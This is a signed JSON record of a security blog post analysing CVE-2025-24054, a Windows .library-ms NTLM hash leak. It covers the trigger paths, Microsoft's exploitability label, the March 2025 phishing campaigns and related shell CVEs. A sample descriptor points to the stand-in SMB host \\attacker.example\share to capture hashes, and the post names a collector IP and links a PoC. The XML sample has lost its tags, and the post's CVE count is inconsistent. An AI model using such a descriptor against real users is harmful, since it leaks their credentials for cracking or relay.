-----BEGIN PGP SIGNED MESSAGE----- Hash: SHA256 NEFARIOUSPLAN-CANONICAL-V1 {"body_md":"## Microsoft documented the required interaction by listing what doesn't trigger it\n\nMicrosoft's bulletin for CVE-2025-24054 names the user interaction required to trigger the bug by listing the two interactions that do NOT trigger it: opening the file, and executing the file. Every other interaction a Windows user can have with a file in Explorer fires the hash leak. Selecting it with a single click. Inspecting it with a right click. Hovering it in the preview pane. Dragging it. Moving it. Extracting an archive that contains it.\n\nCVSS's `UI:R` rating exists to distinguish bugs that require deliberate user action (\"the user opens this attachment\") from bugs that fire on passive exposure. The rating was designed around opening as the load-bearing interaction. The mental model behind a 6.5 with `UI:R` is \"you got phished, you double-clicked, you lost.\" CVE-2025-24054 is the inverse: opening the file is the only interaction that doesn't fire it. The interactions that come before deciding to open are the interactions that have already lost the hash.\n\nCheck Point Research, who logged ten distinct in-the-wild campaigns between March 19 and March 25, 2025, documents the practical pathway as \"extract the ZIP, the hash leaves.\" No file is double-clicked. The decoy is on disk; the bytes have already reached the attacker's SMB collector.\n\n## What `.library-ms` does, and what `` is for\n\nA `.library-ms` file is a Windows shell descriptor for a virtual library, a logical grouping of folders the shell presents to the user as one. The file is XML. The minimum useful descriptor names a default save location:\n\n```xml\n\n\n @shell32.dll,-34582\n 6\n true\n imageres.dll,-1003\n \n \n true\n false\n \n \\\\attacker.example\\share\n \n \n \n\n```\n\nWindows registers a shell handler for `.library-ms` automatically. The handler is loaded by Explorer whenever Explorer presents the file. \"Presents\" is a wide verb here: it includes thumbnail generation, preview-pane rendering, icon resolution, infotip composition, and the property-handler walk that runs on selection. Each of those code paths parses the descriptor.\n\nThe load-bearing element is ``. The shell handler resolves the URL to determine whether the library's backing store is reachable; the resolution is part of constructing the library's display name, its icon, and its status. UNC paths are URIs. Resolving a UNC path opens an SMB session. The SMB session performs NTLMv2 authentication using the workstation's logged-on user identity. The attacker's SMB collector captures the NTLMv2-SSP response. Offline cracking yields the user's password; the response is also usable live in NTLM relay attacks against any server that still accepts NTLM.\n\nThe bug is not in NTLM, and not in SMB. The bug is that the rendering path for `.library-ms` resolves the URL the file names, in render contexts CVSS's `UI:R` rating did not imagine.\n\nThe `false` line in the PoC is a tell. The flag exists in the schema, the PoC sets it to false, and Explorer fetches the URL anyway. Whatever `isSupported` governs in the shell handler, it does not govern the URL resolution. The URL is resolved before the support flag is consulted, or in spite of it.\n\n## The \"Less Likely\" label survived eight days\n\nMicrosoft's Exploitability Index publishes one of four predictions per CVE at disclosure time: Exploitation Detected, More Likely, Less Likely, Unlikely. The label is data Microsoft publishes to help defenders prioritize. SOC teams pull the More Likely bucket forward in the patch window and let the Less Likely bucket follow.\n\nCVE-2025-24054 was labeled \"Exploitation Less Likely\" on March 11, 2025, the day Microsoft shipped the patch.\n\nCheck Point Research logged the first in-the-wild campaign on March 19, 2025. Eight days.\n\nBetween March 20 and March 25, approximately ten distinct campaigns hit government and private institutions in Poland and Romania. The delivery was email phishing with Dropbox-hosted ZIP attachments. The ZIPs contained `.library-ms` files. Extraction was the trigger; the recipient did not need to open, click, or navigate. By March 25, attackers had pivoted distribution to uncompressed files named `Info.doc.library-ms`. Windows hides the `.library-ms` extension by default, so the rendered filename was `Info.doc`. The double-extension trick is the standard phishing defeat for extension-hiding handlers.\n\nThe SMB collectors were hosted in Russia, Bulgaria, the Netherlands, Australia, and Turkey. One collector IP, `159.196.128.120`, had previously been associated with APT28 (Fancy Bear) infrastructure. No direct attribution was claimed for this specific campaign, but the infrastructure overlap was noted in Check Point's report.\n\nOn April 17, 2025, CISA added CVE-2025-24054 to the Known Exploited Vulnerabilities catalog. Required-action deadline: May 8, 2025. The interval from Microsoft's \"Exploitation Less Likely\" label to the KEV listing was thirty-seven days.\n\nThe label is still on the bulletin. There is no public revision that converts \"Less Likely\" retrospectively. Defenders who used the label to prioritize their patch window during March 11 through March 19 received no signal that the prediction had been falsified by the time they started patching.\n\n## The third Windows shell URL-handler NTLM leak in five months\n\nThe `.library-ms` format is one of several Windows shell file formats whose body embeds a URL the shell resolves at metadata-render time. Each format has produced its own CVE when a researcher found a fresh render path that fires the URL fetch.\n\n- **November 2024: CVE-2024-43451.** The `.URL` file variant. Patched after in-the-wild use as a zero-day against Ukrainian entities.\n- **March 2025: CVE-2025-24071.** The `.library-ms` folder-navigation variant. Trigger: opening the folder that contains the file. Patched in the same Patch Tuesday as CVE-2025-24054.\n- **March 2025: CVE-2025-24054.** The `.library-ms` selection-and-inspection variant. Trigger: every interaction a user can have with the file other than opening or executing it.\n\nThree CVEs, three trigger pathways, one primitive. The primitive is `parse metadata file → fetch embedded URL → leak credentials when the URL is UNC`. \"Metadata file\" is the file format. \"Render time\" is anytime Explorer presents the file. \"URL fetch\" is what the format's URL element is for.\n\nWe covered the `.URL` half of this pattern in [CVE-2025-33053 Was the WorkingDirectory Half](/posts/cve-2025-33053-the-other-half-got-a-doc-edit). There, the `URL=` directive in `.URL` files names what the shell resolves; closing the URL= directive's ability to name a UNC path or a WebDAV URL would close the file format. Here, `` in `.library-ms` files names what the shell resolves; closing the URL fetch closes the format the same way. The structural sentence is identical, one format over.\n\nThe Windows shell's metadata-rendering pipeline is a Design Debt Driver: the same component, the same bug class, four CVEs across nine months by different researchers in different render paths. The terminal shape is **unpatchable primitive**, because the capability the design grants attackers (a metadata file on disk fetches a URL when the shell looks at it) is the capability the format exists to provide. Each patch closes a render path: one folder-navigation hook, one selection callback, one property-handler walk, one `WorkingDirectory=` directive. Removing the URL fetch would mean removing the reason the format ships. The patch closes this CVE. The handler that produced it is unchanged.\n\nThe cadence is the giveaway. Three CVEs in this `.library-ms`-and-`.URL` family in five months, each closing a slightly different render path, each followed within weeks by in-the-wild use against named targets. The next instance is not an exception. It is inventory.\n\nPoC: [simantchaudhari/CVE-2025-24054-PoC](https://github.com/simantchaudhari/CVE-2025-24054-PoC)","closing_line":"`` is what `.library-ms` files do. The patch closes the selection trigger; the element remains.","hook_md":"Microsoft's bulletin for CVE-2025-24054 names the user interaction required to trigger the bug by listing the two interactions that do NOT trigger it: opening the file, and executing the file. Every other interaction a Windows user can have with a file in Explorer fires the hash leak. Single-clicking the file. Right-clicking it. Hovering it in the preview pane. Extracting an archive that contains it.\n\nThe patch shipped on March 11, 2025, with Microsoft's Exploitability Index labeling it \"Exploitation Less Likely.\" The first in-the-wild campaign hit eight days later, against government and private institutions in Poland and Romania. CISA added the CVE to the Known Exploited Vulnerabilities catalog thirty-seven days after the patch. The \"Less Likely\" label is still on the bulletin.","post_id":267,"slug":"cve-2025-24054-open-and-execute-dont-trigger","title":"CVE-2025-24054: The Two Verbs That Don't Trigger Are 'Open' and 'Execute'","type":"initial","unreadable_sentence":"The interactions that don't trigger CVE-2025-24054 are opening and executing. Every other interaction a Windows user can have with a file is the trigger."} -----BEGIN PGP SIGNATURE----- iHUEARYIAB0WIQRf0htP5+SjynlxywneZjl4jgkQJgUCarlN7QAKCRDeZjl4jgkQ JqBLAQD/YfpzgtbgqNpbBN/FE+LPiv4Ga677Qbzg/XKRnsfZGwEAk1zGElR/y/R7 KNWHr9iUkF9xEYECkp3Ze+5o/Mqa6Ao= =9twB -----END PGP SIGNATURE-----